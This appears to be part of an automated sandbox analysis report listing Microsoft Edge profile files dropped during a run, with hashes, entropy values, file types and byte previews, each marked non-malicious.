SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676913CE-C24.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04765854180964423
Encrypted:	false
SSDEEP:	192:Kle0m5tmgnOAWJYBJPi6VBK/7+G1gsX9vYCIO5EvjBzhc5N9Mf+RQ9ab5SDREXns:me0UtbZ8qmAu6hMimYlK08T2RGOD
MD5:	BDB8067D4B8DB037D2F44315FF72B8C0
SHA1:	ACC176E71CC288F450EBD4D5410D1B5099667E78
SHA-256:	B8930D6ABC5AE728231969CE365CF71BAE1D42BD9BC8793BD44A28891B3B3E07
SHA-512:	2A83449C24AB4831AB59F5503E95E05AD6558245582CA208CAFEEE1B52B23D2BDBA3A27B0DEF1711E3CE27F4242A7118BA8CE3521D7B22E71B3F8AB3F20B8141
Malicious:	false
Preview:	...@..@...@.....C.].....@............... k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".svhegg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2..........~...... .2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676913CF-1584.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.38286284865040704
Encrypted:	false
SSDEEP:	3072:En02dJTMzANk8u9W2hoFnIjWxhUEQqxKGxRWOM7ig1HFJk:D2duEk8o6FnI8hhQqkKWOWiaH
MD5:	35C48056BE98B01CA06CA2EB60CD55FD
SHA1:	7C540D19A9B4D4AE8657ABABA1B271F980EADD99
SHA-256:	5BF1190A4BB344B4D88BDE9F420B5E5D13E03693C813813719ADDE3BBE73663D
SHA-512:	EE38252BA18A429A074F9E225A8E6143127DDF551877AC98F0DA5421AC109C5C634A191FDB7A5B2987FAD1689D9AEE3B8C02794700ED923A44E9C98B5DF713D8
Malicious:	false
Preview:	...@..@...@.....C.].....@................\...[..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".svhegg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K..>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2..........~....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.1326399824826066
Encrypted:	false
SSDEEP:	3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
MD5:	DB0B5F32DD6A247AE52AF2E9280D22D6
SHA1:	DF845EBCFC1E637F3A8674D6F24D1206637C358A
SHA-256:	20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
SHA-512:	87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
Malicious:	false
Preview:	sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\159dbdb6-418b-4886-aa1c-e4a4525f4349.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\223a2eee-7b01-4b51-8e5c-c98b76d521c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\339a5620-79a4-418b-b497-7f122475efd4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12587
Entropy (8bit):	5.269003441412365
Encrypted:	false
SSDEEP:	192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAfn9H+PQYJ:stQPGKSuasZbiZNg3bGiOS
MD5:	045E6EE5236406284BD0399381C8F6FF
SHA1:	37DD78BEB551E03FCFE07C1B7C48942B4491C6EC
SHA-256:	2DD093AD714F237A48B7F60749BBD98F7049B4B77DF382F473AF499922F00168
SHA-512:	51B721EA3FE2700B86745B385A0CFEFC269AF77D583675D1541ADF9E5F4F6DA82CF7543CB459915CBC06CBE3323E974EC9B69A10E7D96FD097E584D4353C1FE4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3edf5f19-6a7c-4efc-85dc-2e087e079a8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565153664369704
Encrypted:	false
SSDEEP:	768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
MD5:	F1CC119F1D79C4C7786789EC1A10533A
SHA1:	11B8D5FE234730FF64285FD98A7B4FF0C1A96103
SHA-256:	637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
SHA-512:	4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.228842332358606
Encrypted:	false
SSDEEP:	6:EevY0RM1qLTwi23oH+Tcwtp3hBtB2KLlS0q2PqLTwi23oH+Tcwtp3hBWsIFUv:EDolwZYebp3dFL80v8wZYebp3eFUv
MD5:	151568F2BEE0BA24C5BA430A3C1333DC
SHA1:	1D29DEB16DA06E5B74BB297E3F81E88D310217C6
SHA-256:	730AEB0EF03DBCE2A89C6CEFDD341D6071906038F6A403BEED67FB8CCFFEFEE3
SHA-512:	8B9F9CCBACA0FC1D72E91FA7AE9814CEE5E7AD59B63D080D1313D71F8520189F584D15052E5D27EB2E5E6B090F2D62272FE558895B6A76D011378EBEC1429316
Malicious:	false
Preview:	2024/12/23-02:40:06.340 d74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/23-02:40:06.395 d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.04060439716996
Encrypted:	false
SSDEEP:	24576:7+f76gGkISshcFdmcOAoPENUpifYP+MbI2T:7+fgAmmE
MD5:	CA9AC16C9C81074658579152B16FDAFD
SHA1:	4BF75A6A7FEB9E50001727C05C82EE759FBEBC39
SHA-256:	EAEDDB055AD33C89060953F7559AD4092C94B2052A9AA5D60D3F9BDFB72F5532
SHA-512:	8A377A8A17D54261388BEA8DF99222C5D4CE02269DB343ED93794B20ACBB68A9455963654733E36C9D1100FA2E8D93F3C3E7D6FA08F819C2233B6EFC39CE7D77
Malicious:	false
Preview:	...m.................DB_VERSION.1acT..................QUERY_TIMESTAMP:arbitration_priority_list4...13340969984833782.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.090926973837909
Encrypted:	false
SSDEEP:	6:EY+QL+q2PqLTwi23oH+Tcwt9Eh1tIFUt8F+pdSG1Zmw+FQQLVkwOqLTwi23oH+TI:EYvyv8wZYeb9Eh16FUt8FS/+FFR5TwZw
MD5:	8C35B184D848626180958F77CA330A8D
SHA1:	F27417B5BA8542FBDE8D0473DFF96C6EF096B063
SHA-256:	7BE8709B1FD2886EB271DE61867AA321ECDFD89B636EBC71FB4C619907DD6B27
SHA-512:	C7CDA7A725895A33E06FB2CF06C4E82FEA33B83CE85A894E719984F7314C2864C70DCDB4AD4A5071DCD39B8E6AFE5FA359363DA9BEF67D4A164AAB64AA6F3673
Malicious:	false
Preview:	2024/12/23-02:40:06.225 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/23-02:40:06.227 1da8 Recovering log #3.2024/12/23-02:40:06.231 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.090926973837909
Encrypted:	false
SSDEEP:	6:EY+QL+q2PqLTwi23oH+Tcwt9Eh1tIFUt8F+pdSG1Zmw+FQQLVkwOqLTwi23oH+TI:EYvyv8wZYeb9Eh16FUt8FS/+FFR5TwZw
MD5:	8C35B184D848626180958F77CA330A8D
SHA1:	F27417B5BA8542FBDE8D0473DFF96C6EF096B063
SHA-256:	7BE8709B1FD2886EB271DE61867AA321ECDFD89B636EBC71FB4C619907DD6B27
SHA-512:	C7CDA7A725895A33E06FB2CF06C4E82FEA33B83CE85A894E719984F7314C2864C70DCDB4AD4A5071DCD39B8E6AFE5FA359363DA9BEF67D4A164AAB64AA6F3673
Malicious:	false
Preview:	2024/12/23-02:40:06.225 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/23-02:40:06.227 1da8 Recovering log #3.2024/12/23-02:40:06.231 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.43508159006069336
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBI:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	F5237AED0F897E7619A94843845A3EC3
SHA1:	A0C752C9C28A753CFB051AACE2ADA78A6D1288C3
SHA-256:	D4463972AD7B1582F05C8E17074CE863D45CA625C2C672DB0D37F3AF4C7ACE42
SHA-512:	D3C9718794E455D415D8EDF23B576E0A70356B8D71B8DD374D25B8065FEF608E114E13395B4B54462739882A141F4DBE00E3A370D6E4160504428A849CC893A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.257977313525778
Encrypted:	false
SSDEEP:	6:ARbA+q2PqLTwi23oH+TcwtnG2tMsIFUt8fRbcS5Zmw+fRbcStVkwOqLTwi23oH+V:YbFv8wZYebn9GFUt8Zbb5/+ZbbT5TwZ5
MD5:	1F3728178C10F1D62C39BFFF6B535F2B
SHA1:	FBA78A716B1574418CB3CC8DED536548DEAB4D9C
SHA-256:	3416010DF0D147EC0B0ABD30A079ECB67226A499C49F03BD1747CEB74887A0A7
SHA-512:	3E6A389B077D5E8AFF3DCD1E6ACBD5C01BDA9908C7D87CE148E714E570AAF4CE45F40C737AB7ED406312AF453A5D0D1D41CA357F6AC56A239D39106C77C5721B
Malicious:	false
Preview:	2024/12/23-02:39:59.574 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/23-02:39:59.579 878 Recovering log #3.2024/12/23-02:39:59.579 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.257977313525778
Encrypted:	false
SSDEEP:	6:ARbA+q2PqLTwi23oH+TcwtnG2tMsIFUt8fRbcS5Zmw+fRbcStVkwOqLTwi23oH+V:YbFv8wZYebn9GFUt8Zbb5/+ZbbT5TwZ5
MD5:	1F3728178C10F1D62C39BFFF6B535F2B
SHA1:	FBA78A716B1574418CB3CC8DED536548DEAB4D9C
SHA-256:	3416010DF0D147EC0B0ABD30A079ECB67226A499C49F03BD1747CEB74887A0A7
SHA-512:	3E6A389B077D5E8AFF3DCD1E6ACBD5C01BDA9908C7D87CE148E714E570AAF4CE45F40C737AB7ED406312AF453A5D0D1D41CA357F6AC56A239D39106C77C5721B
Malicious:	false
Preview:	2024/12/23-02:39:59.574 878 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/23-02:39:59.579 878 Recovering log #3.2024/12/23-02:39:59.579 878 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.611878754659055
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jXPpepNPrmL:TO8D4jJ/6Up+7gw
MD5:	A905C560B5B9CBAF965F3353B9F42068
SHA1:	579BF9D05A833CD24EE3DD564686EA2E72DE3D3A
SHA-256:	AF6D4AEF24BE50EDE0B5CD09030E8F96F7F6A144A553D13DE050BDDA72FD7863
SHA-512:	D80113AF01C34AA685F06A3B10F8CDBC9DBE2046428BAF68AD2AE5EBA9C06B9D6F90FD97232B1CD0596E0A84B14113F3188B5924234859A5DBCA3EBC10F1A99A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354125025573997
Encrypted:	false
SSDEEP:	6144:rA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:rFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	AA204C5CECC1D735636CB096A5E704C4
SHA1:	2AD982B8C636F4578AE3B85E395BF65F569F02F6
SHA-256:	260B1E21AEFF011321535DB7BBD51BE6E811940527CF37F70419D1F50FE9A0DB
SHA-512:	0728334738A398DFD0A5DF0903A8FEC1657C61FD44677B7973D8F3796BF76C0E7A531C6ED6F1339E3CE2672B95F7FCB4980881BF9D5E041FFC734C7B3DA88CDB
Malicious:	false
